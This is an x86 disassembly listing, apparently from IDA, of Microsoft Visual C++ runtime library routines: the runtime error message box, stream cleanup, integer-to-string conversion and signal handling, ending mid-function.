lea eax, [ebp+var_110]
push eax
push 0
call dword_4F132C ; GetModuleFileNameA
test eax, eax
jnz short loc_42AC11
push offset aProgramNameUnk ; "<program name unknown>"
lea ecx, [ebp+var_110]
push ecx
call sub_41C300
add esp, 8
loc_42AC11: ; CODE XREF: sub_42AB10+EBj
lea edx, [ebp+var_110]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
push eax
call sub_418D00
add esp, 4
add eax, 1
cmp eax, 3Ch
jbe short loc_42AC5A
lea ecx, [ebp+var_110]
push ecx
call sub_418D00
add esp, 4
mov edx, [ebp+var_C]
lea eax, [edx+eax-3Bh]
mov [ebp+var_C], eax
push 3
push offset a___ ; "..."
mov ecx, [ebp+var_C]
push ecx
call sub_41B1F0
add esp, 0Ch
loc_42AC5A: ; CODE XREF: sub_42AB10+11Cj
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
lea edx, [ebp+var_1B0]
push edx
call sub_41C300
add esp, 8
mov eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_1B0]
push ecx
call sub_41C310
add esp, 8
push offset asc_437EB8 ; "\n\n"
lea edx, [ebp+var_1B0]
push edx
call sub_41C310
add esp, 8
mov eax, [ebp+var_8]
mov ecx, off_451C7C[eax*8]
push ecx
lea edx, [ebp+var_1B0]
push edx
call sub_41C310
add esp, 8
push 12010h
push offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library"
lea eax, [ebp+var_1B0]
push eax
call sub_42B680
add esp, 0Ch
loc_42ACC8: ; CODE XREF: sub_42AB10+44j
; sub_42AB10+C3j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42AB10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov dword ptr [ebp-4], 0
jmp short loc_42ACE6
; ---------------------------------------------------------------------------
loc_42ACDD: ; CODE XREF: .nsp0:loc_42ACFDj
mov eax, [ebp-4]
add eax, 1
mov [ebp-4], eax
loc_42ACE6: ; CODE XREF: .nsp0:0042ACDBj
cmp dword ptr [ebp-4], 12h
jnb short loc_42ACFF
mov ecx, [ebp-4]
mov edx, [ebp+8]
cmp edx, dword_451C78[ecx*8]
jnz short loc_42ACFD
jmp short loc_42ACFF
; ---------------------------------------------------------------------------
loc_42ACFD: ; CODE XREF: .nsp0:0042ACF9j
jmp short loc_42ACDD
; ---------------------------------------------------------------------------
loc_42ACFF: ; CODE XREF: .nsp0:0042ACEAj
; .nsp0:0042ACFBj
mov eax, [ebp-4]
mov ecx, [ebp+8]
cmp ecx, dword_451C78[eax*8]
jnz short loc_42AD1A
mov edx, [ebp-4]
mov eax, off_451C7C[edx*8]
jmp short loc_42AD1C
; ---------------------------------------------------------------------------
loc_42AD1A: ; CODE XREF: .nsp0:0042AD0Cj
xor eax, eax
loc_42AD1C: ; CODE XREF: .nsp0:0042AD18j
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AD20 proc near ; CODE XREF: sub_41ECC0+13p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
push 2
call sub_41FB40
add esp, 4
mov [ebp+var_8], 3
jmp short loc_42AD49
; ---------------------------------------------------------------------------
loc_42AD40: ; CODE XREF: sub_42AD20:loc_42ADE4j
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_42AD49: ; CODE XREF: sub_42AD20+1Ej
mov ecx, [ebp+var_8]
cmp ecx, dword_4F0FA0
jge loc_42ADE9
mov edx, [ebp+var_8]
mov eax, dword_4EFF88
cmp dword ptr [eax+edx*4], 0
jz short loc_42ADE4
mov ecx, [ebp+var_8]
mov edx, dword_4EFF88
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jz short loc_42ADA1
mov edx, [ebp+var_8]
mov eax, dword_4EFF88
mov ecx, [eax+edx*4]
push ecx
call sub_418D80
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_42ADA1
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42ADA1: ; CODE XREF: sub_42AD20+5Dj
; sub_42AD20+76j
cmp [ebp+var_8], 14h
jl short loc_42ADE4
mov eax, [ebp+var_8]
mov ecx, dword_4EFF88
mov edx, [ecx+eax*4]
add edx, 20h
push edx
call dword_4F1398 ; RtlDeleteCriticalSection
push 2
mov eax, [ebp+var_8]
mov ecx, dword_4EFF88
mov edx, [ecx+eax*4]
push edx
call sub_419980
add esp, 8
mov eax, [ebp+var_8]
mov ecx, dword_4EFF88
mov dword ptr [ecx+eax*4], 0
loc_42ADE4: ; CODE XREF: sub_42AD20+44j
; sub_42AD20+85j
jmp loc_42AD40
; ---------------------------------------------------------------------------
loc_42ADE9: ; CODE XREF: sub_42AD20+32j
push 2
call sub_41FBE0
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42AD20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AE00 proc near ; CODE XREF: sub_41EED0+31Dp
; sub_42FDA0+1EFp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Ah
jnz short loc_42AE27
cmp [ebp+arg_0], 0
jge short loc_42AE27
push 1
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42AE50
add esp, 10h
jmp short loc_42AE3D
; ---------------------------------------------------------------------------
loc_42AE27: ; CODE XREF: sub_42AE00+7j
; sub_42AE00+Dj
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42AE50
add esp, 10h
loc_42AE3D: ; CODE XREF: sub_42AE00+25j
mov eax, [ebp+arg_4]
pop ebp
retn
sub_42AE00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AE50 proc near ; CODE XREF: sub_42AE00+1Dp
; sub_42AE00+35p ...
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
cmp [ebp+arg_C], 0
jz short loc_42AE79
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
neg eax
mov [ebp+arg_0], eax
loc_42AE79: ; CODE XREF: sub_42AE50+10j
mov ecx, [ebp+var_4]
mov [ebp+var_8], ecx
loc_42AE7F: ; CODE XREF: sub_42AE50+79j
mov eax, [ebp+arg_0]
xor edx, edx
div [ebp+arg_8]
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
xor edx, edx
div [ebp+arg_8]
mov [ebp+arg_0], eax
cmp [ebp+var_C], 9
jbe short loc_42AEB1
mov edx, [ebp+var_C]
add edx, 57h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42AEC5
; ---------------------------------------------------------------------------
loc_42AEB1: ; CODE XREF: sub_42AE50+49j
mov edx, [ebp+var_C]
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42AEC5: ; CODE XREF: sub_42AE50+5Fj
cmp [ebp+arg_0], 0
ja short loc_42AE7F
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_42AEDA: ; CODE XREF: sub_42AE50+BCj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_10], dl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_8]
mov cl, [ebp+var_10]
mov [eax], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jb short loc_42AEDA
mov esp, ebp
pop ebp
retn
sub_42AE50 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+10h], 0Ah
jnz short loc_42AF39
cmp dword ptr [ebp+8], 0
jge short loc_42AF39
mov dword ptr [ebp-4], 1
jmp short loc_42AF40
; ---------------------------------------------------------------------------
loc_42AF39: ; CODE XREF: .nsp0:0042AF28j
; .nsp0:0042AF2Ej
mov dword ptr [ebp-4], 0
loc_42AF40: ; CODE XREF: .nsp0:0042AF37j
mov eax, [ebp-4]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_42AE50
add esp, 10h
mov eax, [ebp+0Ch]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_42AE50
add esp, 10h
mov eax, [ebp+0Ch]
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+14h], 0Ah
jnz short loc_42AFA1
cmp dword ptr [ebp+0Ch], 0
jg short loc_42AFA1
jl short loc_42AF98
cmp dword ptr [ebp+8], 0
jnb short loc_42AFA1
loc_42AF98: ; CODE XREF: .nsp0:0042AF90j
mov dword ptr [ebp-4], 1
jmp short loc_42AFA8
; ---------------------------------------------------------------------------
loc_42AFA1: ; CODE XREF: .nsp0:0042AF88j
; .nsp0:0042AF8Ej ...
mov dword ptr [ebp-4], 0
loc_42AFA8: ; CODE XREF: .nsp0:0042AF9Fj
mov eax, [ebp-4]
push eax
mov ecx, [ebp+14h]
push ecx
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_42AFD0
mov eax, [ebp+10h]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AFD0 proc near ; CODE XREF: .nsp0:0042AFBCp
; .nsp0:0042B0E5p
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
cmp [ebp+arg_10], 0
jz short loc_42B004
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
neg eax
mov ecx, [ebp+arg_4]
adc ecx, 0
neg ecx
mov [ebp+arg_0], eax
mov [ebp+arg_4], ecx
loc_42B004: ; CODE XREF: sub_42AFD0+10j
mov edx, [ebp+var_4]
mov [ebp+var_8], edx
loc_42B00A: ; CODE XREF: sub_42AFD0+9Fj
; sub_42AFD0+A7j
mov eax, [ebp+arg_C]
xor ecx, ecx
push ecx
push eax
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41DF70
mov [ebp+var_C], eax
mov ecx, [ebp+arg_C]
xor edx, edx
push edx
push ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41DF00
mov [ebp+arg_0], eax
mov [ebp+arg_4], edx
cmp [ebp+var_C], 9
jbe short loc_42B057
mov edx, [ebp+var_C]
add edx, 57h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42B06B
; ---------------------------------------------------------------------------
loc_42B057: ; CODE XREF: sub_42AFD0+6Fj
mov edx, [ebp+var_C]
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42B06B: ; CODE XREF: sub_42AFD0+85j
cmp [ebp+arg_4], 0
ja short loc_42B00A
jb short loc_42B079
cmp [ebp+arg_0], 0
ja short loc_42B00A
loc_42B079: ; CODE XREF: sub_42AFD0+A1j
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_42B088: ; CODE XREF: sub_42AFD0+EAj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [ebp+var_10], dl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_8]
mov cl, [ebp+var_10]
mov [eax], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jb short loc_42B088
mov esp, ebp
pop ebp
retn 14h
sub_42AFD0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_42AFD0
mov eax, [ebp+10h]
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 10h
push esi
cmp dword ptr [ebp+0Ch], 4
jz short loc_42B103
cmp dword ptr [ebp+0Ch], 3
jnz short loc_42B108
loc_42B103: ; CODE XREF: .nsp0:0042B0FBj
jmp loc_42B2D8
; ---------------------------------------------------------------------------
loc_42B108: ; CODE XREF: .nsp0:0042B101j
cmp dword ptr [ebp+8], 2
jz short loc_42B124
cmp dword ptr [ebp+8], 15h
jz short loc_42B124
cmp dword ptr [ebp+8], 16h
jz short loc_42B124
cmp dword ptr [ebp+8], 0Fh
jnz loc_42B201
loc_42B124: ; CODE XREF: .nsp0:0042B10Cj
; .nsp0:0042B112j ...
push 1
call sub_41FB40
add esp, 4
cmp dword ptr [ebp+8], 2
jz short loc_42B13A
cmp dword ptr [ebp+8], 15h
jnz short loc_42B17F
loc_42B13A: ; CODE XREF: .nsp0:0042B132j
cmp dword_4EFAB8, 0
jnz short loc_42B17F
push 1
push offset sub_42B320
call dword_4F13E0 ; SetConsoleCtrlHandler
cmp eax, 1
jnz short loc_42B161
mov dword_4EFAB8, 1
jmp short loc_42B17F
; ---------------------------------------------------------------------------
loc_42B161: ; CODE XREF: .nsp0:0042B153j
call dword_4F1348 ; RtlGetLastWin32Error
mov esi, eax
call sub_4248B0
mov [eax], esi
push 1
call sub_41FBE0
add esp, 4
jmp loc_42B2D8
; ---------------------------------------------------------------------------
loc_42B17F: ; CODE XREF: .nsp0:0042B138j
; .nsp0:0042B141j ...
mov eax, [ebp+8]
mov [ebp-10h], eax
mov ecx, [ebp-10h]
sub ecx, 2
mov [ebp-10h], ecx
cmp dword ptr [ebp-10h], 14h
ja short loc_42B1F2
mov eax, [ebp-10h]
xor edx, edx
mov dl, byte_42B2FF[eax]
jmp off_42B2EB[edx*4]
loc_42B1A6: ; DATA XREF: .nsp0:off_42B2EBo
mov ecx, dword_4EFAA8
mov [ebp-0Ch], ecx
mov edx, [ebp+0Ch]
mov dword_4EFAA8, edx
jmp short loc_42B1F2
; ---------------------------------------------------------------------------
loc_42B1BA: ; CODE XREF: .nsp0:0042B19Fj
; DATA XREF: .nsp0:0042B2F3o
mov eax, dword_4EFAAC
mov [ebp-0Ch], eax
mov ecx, [ebp+0Ch]
mov dword_4EFAAC, ecx
jmp short loc_42B1F2
; ---------------------------------------------------------------------------
loc_42B1CD: ; CODE XREF: .nsp0:0042B19Fj
; DATA XREF: .nsp0:0042B2F7o
mov edx, dword_4EFAB0
mov [ebp-0Ch], edx
mov eax, [ebp+0Ch]
mov dword_4EFAB0, eax
jmp short loc_42B1F2
; ---------------------------------------------------------------------------
loc_42B1E0: ; CODE XREF: .nsp0:0042B19Fj
; DATA XREF: .nsp0:0042B2EFo
mov ecx, dword_4EFAB4
mov [ebp-0Ch], ecx
mov edx, [ebp+0Ch]
mov dword_4EFAB4, edx
loc_42B1F2: ; CODE XREF: .nsp0:0042B192j
; .nsp0:0042B19Fj ...
push 1
call sub_41FBE0
add esp, 4
jmp loc_42B2D3
; ---------------------------------------------------------------------------
loc_42B201: ; CODE XREF: .nsp0:0042B11Ej
cmp dword ptr [ebp+8], 8
jz short loc_42B218
cmp dword ptr [ebp+8], 4
jz short loc_42B218
cmp dword ptr [ebp+8], 0Bh
jz short loc_42B218
jmp loc_42B2D8
; ---------------------------------------------------------------------------
loc_42B218: ; CODE XREF: .nsp0:0042B205j
; .nsp0:0042B20Bj ...
call sub_423CF0
mov [ebp-4], eax
mov eax, [ebp-4]
cmp dword ptr [eax+50h], offset dword_451BC8
jnz short loc_42B275
push 133h
push offset aWinsig_c ; "winsig.c"
push 2
mov ecx, dword_451C48
push ecx
call sub_418EF0
add esp, 10h
mov edx, [ebp-4]
mov [edx+50h], eax
mov eax, [ebp-4]
cmp dword ptr [eax+50h], 0
jz short loc_42B273
mov ecx, dword_451C48
push ecx
push offset dword_451BC8
mov edx, [ebp-4]
mov eax, [edx+50h]
push eax
call near ptr sub_41C8D0
add esp, 0Ch
jmp short loc_42B275
; ---------------------------------------------------------------------------
loc_42B273: ; CODE XREF: .nsp0:0042B254j
jmp short loc_42B2D8
; ---------------------------------------------------------------------------
loc_42B275: ; CODE XREF: .nsp0:0042B22Aj
; .nsp0:0042B271j
mov ecx, [ebp-4]
mov edx, [ecx+50h]
push edx
mov eax, [ebp+8]
push eax
call sub_42B600
add esp, 8
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jnz short loc_42B293
jmp short loc_42B2D8
; ---------------------------------------------------------------------------
loc_42B293: ; CODE XREF: .nsp0:0042B28Fj
mov ecx, [ebp-8]
mov edx, [ecx+8]
mov [ebp-0Ch], edx
loc_42B29C: ; CODE XREF: .nsp0:loc_42B2D1j
mov eax, [ebp-8]
mov ecx, [eax+4]
cmp ecx, [ebp+8]
jnz short loc_42B2D3
mov edx, [ebp-8]
mov eax, [ebp+0Ch]
mov [edx+8], eax
mov ecx, [ebp-8]
add ecx, 0Ch
mov [ebp-8], ecx
mov edx, dword_451C4C
imul edx, 0Ch
mov eax, [ebp-4]
mov ecx, [eax+50h]
add ecx, edx
cmp [ebp-8], ecx
jb short loc_42B2D1
jmp short loc_42B2D3
; ---------------------------------------------------------------------------
loc_42B2D1: ; CODE XREF: .nsp0:0042B2CDj
jmp short loc_42B29C
; ---------------------------------------------------------------------------
loc_42B2D3: ; CODE XREF: .nsp0:0042B1FCj
; .nsp0:0042B2A5j ...
mov eax, [ebp-0Ch]
jmp short loc_42B2E6
; ---------------------------------------------------------------------------
loc_42B2D8: ; CODE XREF: .nsp0:loc_42B103j
; .nsp0:0042B17Aj ...
call sub_4248A0
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
loc_42B2E6: ; CODE XREF: .nsp0:0042B2D6j
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
off_42B2EB dd offset loc_42B1A6 ; DATA XREF: .nsp0:0042B19Fr
dd offset loc_42B1E0
dd offset loc_42B1BA
dd offset loc_42B1CD
dd offset loc_42B1F2
byte_42B2FF db 0 ; DATA XREF: .nsp0:0042B199r
dd 3 dup(4040404h), 4040401h, 3020404h, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B320 proc near ; DATA XREF: .nsp0:0042B145o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push 1
call sub_41FB40
add esp, 4
cmp [ebp+arg_0], 0
jnz short loc_42B34E
mov [ebp+var_8], offset dword_4EFAA8
mov eax, [ebp+var_8]
mov ecx, [eax]
mov [ebp+var_C], ecx
mov [ebp+var_4], 2
jmp short loc_42B364
; ---------------------------------------------------------------------------
loc_42B34E: ; CODE XREF: sub_42B320+14j
mov [ebp+var_8], offset dword_4EFAAC
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_C], eax
mov [ebp+var_4], 15h
loc_42B364: ; CODE XREF: sub_42B320+2Cj
cmp [ebp+var_C], 0
jnz short loc_42B378
push 1
call sub_41FBE0
add esp, 4
xor eax, eax
jmp short loc_42B3AC
; ---------------------------------------------------------------------------
loc_42B378: ; CODE XREF: sub_42B320+48j
cmp [ebp+var_C], 1
jz short loc_42B39D
mov ecx, [ebp+var_8]
mov dword ptr [ecx], 0
push 1
call sub_41FBE0
add esp, 4
mov edx, [ebp+var_4]
push edx
call [ebp+var_C]
add esp, 4
jmp short loc_42B3A7
; ---------------------------------------------------------------------------
loc_42B39D: ; CODE XREF: sub_42B320+5Cj
push 1
call sub_41FBE0
add esp, 4
loc_42B3A7: ; CODE XREF: sub_42B320+7Bj
mov eax, 1
loc_42B3AC: ; CODE XREF: sub_42B320+56j
mov esp, ebp
pop ebp
retn 4
sub_42B320 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B3C0 proc near ; CODE XREF: sub_41F260+2E7p
; sub_42DF00+Fp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov [ebp+var_20], eax
mov ecx, [ebp+var_20]
sub ecx, 2
mov [ebp+var_20], ecx
cmp [ebp+var_20], 14h
ja loc_42B48E
mov eax, [ebp+var_20]
xor edx, edx
mov dl, byte_42B5E2[eax]
jmp off_42B5CA[edx*4]
loc_42B3F8: ; DATA XREF: .nsp0:off_42B5CAo
mov [ebp+var_18], offset dword_4EFAA8
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp loc_42B496
; ---------------------------------------------------------------------------
loc_42B415: ; CODE XREF: sub_42B3C0+31j
; DATA XREF: .nsp0:0042B5D6o
mov [ebp+var_18], offset dword_4EFAAC
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_42B496
; ---------------------------------------------------------------------------
loc_42B42F: ; CODE XREF: sub_42B3C0+31j
; DATA XREF: .nsp0:0042B5DAo
mov [ebp+var_18], offset dword_4EFAB0
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_42B496
; ---------------------------------------------------------------------------
loc_42B449: ; CODE XREF: sub_42B3C0+31j
; DATA XREF: .nsp0:0042B5D2o
mov [ebp+var_18], offset dword_4EFAB4
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_42B496
; ---------------------------------------------------------------------------
loc_42B463: ; CODE XREF: sub_42B3C0+31j
; DATA XREF: .nsp0:0042B5CEo
call sub_423CF0
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ecx+50h]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42B600
add esp, 8
add eax, 8
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ecx]
mov [ebp+var_1C], edx
jmp short loc_42B496
; ---------------------------------------------------------------------------
loc_42B48E: ; CODE XREF: sub_42B3C0+20j
; sub_42B3C0+31j
; DATA XREF: ...
or eax, 0FFFFFFFFh
jmp loc_42B5C6
; ---------------------------------------------------------------------------
loc_42B496: ; CODE XREF: sub_42B3C0+50j
; sub_42B3C0+6Dj ...
cmp [ebp+var_C], 0
jz short loc_42B4A6
push 1
call sub_41FB40
add esp, 4
loc_42B4A6: ; CODE XREF: sub_42B3C0+DAj
cmp [ebp+var_1C], 1
jnz short loc_42B4C3
cmp [ebp+var_C], 0
jz short loc_42B4BC
push 1
call sub_41FBE0
add esp, 4
loc_42B4BC: ; CODE XREF: sub_42B3C0+F0j
xor eax, eax
jmp loc_42B5C6
; ---------------------------------------------------------------------------
loc_42B4C3: ; CODE XREF: sub_42B3C0+EAj
cmp [ebp+var_1C], 0
jnz short loc_42B4E0
cmp [ebp+var_C], 0
jz short loc_42B4D9
push 1
call sub_41FBE0
add esp, 4
loc_42B4D9: ; CODE XREF: sub_42B3C0+10Dj
push 3
call sub_41B5A0
loc_42B4E0: ; CODE XREF: sub_42B3C0+107j
cmp [ebp+arg_0], 8
jz short loc_42B4F2
cmp [ebp+arg_0], 0Bh
jz short loc_42B4F2
cmp [ebp+arg_0], 4
jnz short loc_42B51E
loc_42B4F2: ; CODE XREF: sub_42B3C0+124j
; sub_42B3C0+12Aj
mov eax, [ebp+var_4]
mov ecx, [eax+54h]
mov [ebp+var_14], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+54h], 0
cmp [ebp+arg_0], 8
jnz short loc_42B51E
mov eax, [ebp+var_4]
mov ecx, [eax+58h]
mov [ebp+var_8], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+58h], 8Ch
loc_42B51E: ; CODE XREF: sub_42B3C0+130j
; sub_42B3C0+149j
cmp [ebp+arg_0], 8
jnz short loc_42B560
mov eax, dword_451C40
mov [ebp+var_10], eax
jmp short loc_42B537
; ---------------------------------------------------------------------------
loc_42B52E: ; CODE XREF: sub_42B3C0+19Cj
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
loc_42B537: ; CODE XREF: sub_42B3C0+16Cj
mov edx, dword_451C40
add edx, dword_451C44
cmp [ebp+var_10], edx
jge short loc_42B55E
mov eax, [ebp+var_10]
imul eax, 0Ch
mov ecx, [ebp+var_4]
mov edx, [ecx+50h]
mov dword ptr [edx+eax+8], 0
jmp short loc_42B52E
; ---------------------------------------------------------------------------
loc_42B55E: ; CODE XREF: sub_42B3C0+186j
jmp short loc_42B569
; ---------------------------------------------------------------------------
loc_42B560: ; CODE XREF: sub_42B3C0+162j
mov eax, [ebp+var_18]
mov dword ptr [eax], 0
loc_42B569: ; CODE XREF: sub_42B3C0:loc_42B55Ej
cmp [ebp+var_C], 0
jz short loc_42B579
push 1
call sub_41FBE0
add esp, 4
loc_42B579: ; CODE XREF: sub_42B3C0+1ADj
cmp [ebp+arg_0], 8
jnz short loc_42B590
mov ecx, [ebp+var_4]
mov edx, [ecx+58h]
push edx
push 8
call [ebp+var_1C]
add esp, 8
jmp short loc_42B59A
; ---------------------------------------------------------------------------
loc_42B590: ; CODE XREF: sub_42B3C0+1BDj
mov eax, [ebp+arg_0]
push eax
call [ebp+var_1C]
add esp, 4
loc_42B59A: ; CODE XREF: sub_42B3C0+1CEj
cmp [ebp+arg_0], 8
jz short loc_42B5AC
cmp [ebp+arg_0], 0Bh
jz short loc_42B5AC
cmp [ebp+arg_0], 4
jnz short loc_42B5C4
loc_42B5AC: ; CODE XREF: sub_42B3C0+1DEj
; sub_42B3C0+1E4j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_14]
mov [ecx+54h], edx
cmp [ebp+arg_0], 8
jnz short loc_42B5C4
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov [eax+58h], ecx
loc_42B5C4: ; CODE XREF: sub_42B3C0+1EAj
; sub_42B3C0+1F9j
xor eax, eax
loc_42B5C6: ; CODE XREF: sub_42B3C0+D1j
; sub_42B3C0+FEj
mov esp, ebp
pop ebp
retn
sub_42B3C0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
off_42B5CA dd offset loc_42B3F8 ; DATA XREF: sub_42B3C0+31r
dd offset loc_42B463
dd offset loc_42B449
dd offset loc_42B415
dd offset loc_42B42F
dd offset loc_42B48E
byte_42B5E2 db 0 ; DATA XREF: sub_42B3C0+2Br
db 5
dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B600 proc near ; CODE XREF: .nsp0:0042B280p
; sub_42B3C0+B6p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_42B60A: ; CODE XREF: sub_42B600+31j
mov ecx, [ebp+var_4]
mov edx, [ecx+4]
cmp edx, [ebp+arg_0]
jz short loc_42B633
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ecx, dword_451C4C
imul ecx, 0Ch
mov edx, [ebp+arg_4]
add edx, ecx
cmp [ebp+var_4], edx
jnb short loc_42B633
jmp short loc_42B60A
; ---------------------------------------------------------------------------
loc_42B633: ; CODE XREF: sub_42B600+13j
; sub_42B600+2Fj
mov eax, dword_451C4C
imul eax, 0Ch
